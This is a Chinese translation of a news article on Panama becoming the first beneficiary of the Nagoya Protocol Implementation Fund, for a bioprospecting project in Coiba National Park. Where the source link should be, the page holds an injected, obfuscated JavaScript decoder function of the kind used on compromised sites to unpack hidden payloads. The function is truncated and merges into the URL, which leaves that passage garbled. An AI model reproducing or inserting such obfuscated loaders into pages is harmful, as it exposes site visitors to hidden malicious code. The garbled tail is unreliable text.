巴拿马成为首个应对生物剽窃基金的获益者

巴拿马的一个生物勘察工程成为首个由《名古屋议定书》履约基金资助的项目。

作者：Aleida Rueda

翻译：王艳杰

名古屋议定书的履约基金(The Nagoya Protocol Implementation Fund, NPIF)已经宣布了其第一个受益方：开发巴拿马的自然资源发展医药和农用化学品产业的项目。

2010年10月，193个国家在日本举行的《生物多样性公约》（以下简称公约）第十次缔约方大会即COP10上一致通过了《名古屋议定书》（以下简称议定书），旨在应对生物剽窃问题，及解决公平公正的分享利用自然资源所产生的惠益问题。

4个月后，全球环境基金(GEF)设立了“议定书履约基金(NPIF)”，NPIF作为一个多国捐助的信托基金，将帮助议定书的缔约方落实履约工作。

GEF在本月初(1月12日)宣布，NPIF将为巴拿马提供100万美元的经费在科伊巴岛国家海洋公园（巴拿马最重要的自然保护区之一，位于奇里基湾）开展为期三年的项目。

据巴拿马国家环境局 (National Environmental Authority, ANAM) 的官员，Dario Luque称，研究人员将采集淡水和海水中的植物样本、及与珊瑚和细菌具有共生(互利)关系的真菌和藻类样本。他们希望通过分析这些样本，能发现生产天然杀虫剂的化合物或治疗热带疾病和癌症的药物。

Luque说：“有些研究团队对科伊巴岛的微型藻类样品进行了分析，已经发现了可能生产治疗癌症药物的活性成分。” 项目所需其他经费，共计340万美元将由其他国际合作伙伴来提供，项目产生的惠益将由各合作方共享。这些国际伙伴包括美国的加州大学（US-based University of California）、犹他大学（the University of Utah）、美国国立卫生研究院（the US National Institutes of Health）以及日本和美国的私营企业。

作为一名合作伙伴，巴拿马有权分享项目中任何产品产生的惠益。但是，“如果在项目的第一年就获得了生物活性化合物，我们就需要重新谈判合同的条款，”… Luque表示。

哥伦比亚国立大学和加拿大马尼托巴大学的教授，Gabriel Nemoga对科学与发展网络的记者表示：“该合同的受益国不应该仅仅是生物多样性的提供国。而且，我们现在并不清楚巴拿马的环境和法律体制或政策经验是否可以处理该项目，所以，这令达成一个最有利的协议变得更加困难。”

文件参见：function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-environment/bioprospecting/news/panama-is-first-to-benefit-from-fund-to-tackle-biopiracy.html”>http://www.scidev.net/en/agriculture-and-environment/bioprospecting/news/panama-is-first-to-benefit-from-fund-to-tackle-biopiracy.html

全文阅读：巴拿马成为首个应对生物剽窃基金的获益者